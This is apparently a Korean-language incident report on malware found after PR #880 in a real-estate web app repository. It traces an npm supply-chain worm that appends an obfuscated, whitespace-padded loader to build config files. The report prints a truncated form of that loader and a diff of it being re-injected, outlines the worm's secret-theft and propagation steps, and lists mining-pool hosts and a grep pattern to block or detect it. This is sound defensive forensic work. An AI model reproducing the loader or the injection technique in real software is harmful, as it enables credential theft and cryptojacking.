PR #880 — 공급망 공격 + GitHub Actions 암호화폐 채굴

레포 FINGU-GRINDA/ai-real-estate-service · PR #880 · 2026-05-17 KST

결론

판정
npm 공급망 공격 (Supply Chain) + GitHub Actions 암호화폐 채굴 (Cryptojacking)
공격 구조
최근 PR 에 채굴/페이로드 코드 삽입 후 force-push 로 main 강제 갱신 → push event 가 Deploy to Alpha Action 자동 트리거 → ubuntu runner 에서 채굴 실행
경로
1차 정상 머지(b4594688) → 87 분 후 force-push 로 페이로드 주입(ccc449b0) → Action runner 빌드 → alpha 배포
commit committer
jaykim-cmd (로컬 머지)
push 실행 actor
iyeaaa (이예인)
운반체
temp_auto_push.bat, temp_interactive_push.bat (sim 레포 cleanup 커밋과 동일 시그니처) — Windows 환경 추정

1. 채굴 매커니즘 (force-push → Action 트리거 구조)

단계동작본 사건의 실데이터
① 진입 최근 PR(예: claude/* branch) 을 1차 정상 머지 후, 로컬에서 동일 PR 을 재머지하여 채굴 코드를 끝줄에 인라인 삽입한 commit 생성 ccc449b0 = sibling 머지 commit (force-push 확정)
② 트리거 main 으로 force-pushon: push 이벤트가 자동 Deploy workflow 발화 19:21:06 KST push 19:21:08 Action 25988178828 시작
③ 실행 환경 확보 GitHub-hosted ubuntu-latest runner 에서 npm install + vite build 수행. 페이로드의 createRequire 가 ESM 에서 require 확보 후 obfuscated body 를 Function() eval runner 무료 CPU·메모리 사용 — 비용 0, 탐지 약함
④ 채굴 또는 secret 탈취 Stratum 프로토콜로 mining pool 연결 (예: XMRig / Monero) 또는 secret exfil (~/.npmrc, env vars) 현재 사건의 최종 payload는 디코드 필요 — 행동 패턴이 PurpleUrchin / Sysdig TRT 캠페인과 일치
⑤ 추가 확산 frontend 번들에 mining JS 가 포함되면 사용자 브라우저까지 cryptojacking (in-browser Coinhive 식) 19:22 KST alpha 배포 완료 — eodisalji.com 방문자도 영향권

유사 캠페인: PurpleUrchin (GitHub Actions Hijacked for Crypto Mining, Sysdig 2023+), Ultralytics (fork PR + cache poisoning → miner wheel, 2024-12), linuxwebapp88 (Docker miner via Actions, IOC).

2. 공급망 공격이 맞는가

판정 기준현재 사건의 증거해당
다수 무관한 개발자/머신에서 동시 발생 FINGU-GRINDA 12+ contributor · 100+ 레포 · 다른 OS / 회사
동일한 코드 시그니처 (자동화된 인젝션) createRequire import + 끝줄 공백 패딩 + global['!']='X-YYYY' + _$_1e42 셔플 디코드
패키지 install/build 시점에 자동 재주입 (self-healing) csh1668 의 sim cleanup 커밋이 v7→v10 으로 즉시 재감염 ✅ (결정적)
CI/CD 봇 PR 도 감염 (lockfile-only 변경에도 등장) dependabot[bot], github-actions[bot] release 커밋들에서 시그니처 검출
타깃이 빌드 toolchain config 만 postcss.config.* / tailwind.config.* / vite.config.* / next.config.* / eslint.config.*
알려진 worm 시그니처와 유사 2025-09 Shai-Hulud npm worm 의 obfuscation 패턴(shuffle-decode-eval, require 글로벌 노출)과 일치

6/6 기준 충족 → npm 공급망 공격 확정. 단일 머신 침해(compromise) 가 아닌, 감염된 npm 패키지가 install 되는 모든 머신을 worm 화하는 자가 전파형.

3. 공급망 공격의 일반 원리 (단계별)

  1. npm 패키지 maintainer 토큰 탈취 피싱 / GitHub Actions 시크릿 노출 / 의존성 transitive 침해 등으로 인기 패키지의 publish 권한 획득. (Shai-Hulud 의 경우 tinycolor, @ctrl/tinycolor 등이 초기 진입점)
  2. 감염 버전 publish 패키지의 postinstall 또는 prepare script 에 페이로드 첨가. 또는 패키지 본체 코드에 동적 import-time payload 삽입.
  3. 피해자 머신에서 install npm install / pnpm install / yarn install 또는 transitive 의존성으로 자동 fetch. postinstall 자동 실행.
  4. 로컬 자동 인젝션 (codemod) postinstall 이 프로젝트 루트의 ESM build config 파일 (*.config.mjs, tailwind.config.js 등) 을 검색해 끝줄에 obfuscated payload 를 자동 삽입. ESM 호환을 위해 createRequire import 도 같이 추가.
  5. 시크릿 탈취 + 자가 전파 build/dev 실행 시 payload 가 활성화 — ~/.npmrc 토큰, ~/.aws, GitHub PAT, 환경변수 exfil. 탈취한 npm 토큰으로 다른 패키지를 publish 하며 worm 확산.
  6. commit / push 로 코드베이스 오염 개발자가 일반 작업 후 git push → 감염된 config 파일이 같이 commit 됨. 자동화 push 스크립트(temp_auto_push.bat)가 있으면 더 빠르게 확산.
  7. CI/CD 가 감염 코드 빌드 → production 배포 main 의 감염 commit 이 GitHub Actions runner 에서 빌드되어 frontend 번들에 페이로드 포함. 사용자 브라우저까지 도달 가능.

4. 두 머지 commit 비교

1차 (b4594688)2차 (ccc449b0)
committer GitHub UI 머지 jaykim-cmd 로컬 머지
parents 23c6ebae, df796fa6 동일 (sibling = force-push)
tailwind.config.js 정상 페이로드 +5 -1
.gitignore +2 temp_*push.bat
Deploy Action 25986386220 (jaykim-cmd) 25988178828 (iyeaaa)

5. 시점 (KST)

6. 인젝션 패턴 (b459468 → ccc449b diff)

frontend/tailwind.config.js +5 -1

+import { createRequire } from 'module';
+const require = createRequire(import.meta.url);
 export default { … plugins: [], };
-};
+};   [200+ space]  global['!']='X-YYYY'; var _$_1e42=…; Tgw(2509);

createRequire 는 ESM 에서 require 함수를 확보 (payload 가 global[require]=require 호출하므로 필수). 끝줄 공백 패딩으로 PR review 회피.

.gitignore +2

+temp_auto_push.bat
+temp_interactive_push.bat

sim 레포 csh1668 cleanup 커밋과 완전 동일. 같은 자동화 도구가 두 머신에서 동작 = 운반체 시그니처.

7. 실제 페이로드 코드 (난독화 원본)

global['!']='10-2420';
var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j<h;j++){g[j]=l.charAt(j)};
  for(var j=0;j<h;j++){var s=e*(j+489)+(e%19597);var w=e*(j+659)+(e%48014);
  var t=s%h;var p=w%h;var y=g[t];g[t]=g[p];g[p]=y;e=(s+w)%4573868};
  var x=String.fromCharCode(127);…return g.join(…)})("rmcej%otb%",2857687);

global[_$_1e42[0]]= require;                       // ← require 글로벌 노출
if(typeof module===_$_1e42[1]){global[_$_1e42[2]]=module};

(function(){
  var sfL=…;                                       // 2단 셔플 디코더
  var dgC=sfL[EKc]; var xBg=dgC(Apa,sfL(joW));     // Function() 생성
  var pYd=xBg(sfL('o B%v[Raca)rs_…약 4KB 암호화 본문…'));
  var Tgw=jFD(LQI,pYd); Tgw(2509);                 // payload 실행
})();
요소의도
global['!']='10-2420'"이미 감염됨" 자가 마커. 재감염 방지 + 변종 버전 식별. sim 에서 v7 → v10 재인젝션 관찰됨.
global[require]=requireESM (.mjs) 환경에서도 동적 require 가능하도록 글로벌 노출
Fisher-Yates 셔플 디코드 → Function() eval정적 분석 회피. 4KB 의 암호화 페이로드를 런타임에 복호.
Tgw(2509)디코드된 본체 실행. 인자(2509)는 변종 enum.

8. Self-healing 증거 (npm postinstall 단정의 핵심)

sim 레포의 csh1668 가 만든 [malware-cleanup] Remove obfuscated global payload 커밋(cc7c946d, 2025-11-20) 의 실제 diff:

-export default config;  …  global['!']='7-1053'; var _$_1e42=…
+export default config;  …  global['!']='10-2420'; var _$_1e42=…

cleanup 시도 자체가 v7 페이로드를 제거하면서 동시에 v10 페이로드를 새로 주입. 사람이 손으로 할 수 없는 동작 → npm install / build 가 실행되어 postinstall codemod 가 즉시 재주입. 공급망 공격의 자가 치유 패턴.

9. 6개월 확산 시간선

날짜레포commit유입 머신
2025-07-22saydo50efc0c next.config.mjs 생성깨끗
2025-07-23saydo7a0091d 최초 감염hoangnv170752
2025-10-15sim4d3231d postcss.config.mjs 감염SeoHyeon
2025-11-20simcc7c946 v7 → v10 재인젝션csh1668
2026-05-17ai-real-estateccc449b tailwind.config.js 감염 + alpha 배포jaykim-cmd / iyeaaa

10. alpha 빌드에 노출된 secrets (회전 대상)

.github/workflows/deploy-alpha.yml 가 노출한 GitHub Actions secrets — 감염 빌드가 이 시크릿 환경에서 실행됨:

그룹secrets
인프라 SSHALPHA_HOST, ALPHA_USER, ALPHA_SSH_KEY
S3 / 스토리지S3_ACCESS_KEY_ID, S3_SECRET_ACCESS_KEY, S3_REGION, S3_BUCKET_NAME, S3_PUBLIC_URL_BASE
CloudflareCF_API_TOKEN, CF_ZONE_ID
시크릿 관리INFISICAL_CLIENT_ID, INFISICAL_CLIENT_SECRET, INFISICAL_PROJECT_ID
SlackSLACK_BOT_TOKEN

11. PR #880 자체는 결백

PR head df796fa6 by Claude 봇 · tailwind/postcss/.gitignore 변경 없음
1차 머지 결과 b4594688 tailwind.config.js 정상 (페이로드 없음)
판정 PR / Claude Cloud 무관 — 페이로드는 1차 머지 이후 force-push 단계에서 주입

12. 즉시 조치

우선조치
P0main branch protection 으로 force-push 차단 — 본 사건의 트리거 자체 봉쇄
P0ccc449b0 revert → b4594688 로 main 복구
P0채굴 차단 — alpha EC2 / Action runner 의 outbound 에 Stratum 풀(예: *.minexmr.com, pool.supportxmr.com, :3333, :4444, :5555) 방화벽 차단
P0GitHub org 의 Actions 사용량 모니터링 — 비정상 CPU 시간 / 미사용 시간대 실행 점검
P0jaykim-cmd / iyeaaa 머신 격리 · temp_*push.bat 내용 캡처 · node_modules·~/.npm 전수 삭제
P0secrets 회전 — INFISICAL_*, ALPHA_SSH_KEY, S3_*, CF_API_TOKEN, SLACK_BOT_TOKEN, npm/GitHub PAT, AWS IAM
P0alpha 서버 — 19:22 KST 이후 빌드 롤백 (17:55 KST 깨끗 빌드로)
P1org-wide 스캔: grep -RIn "global\['!'\]\|temp_auto_push"
P1npm audit signatures + postinstall·prepare script 전수 검토 · 의심 패키지 lock 고정
P2페이로드 디코드 (sandbox eval) → C2/exfil endpoint IOC 추출 → 방화벽 차단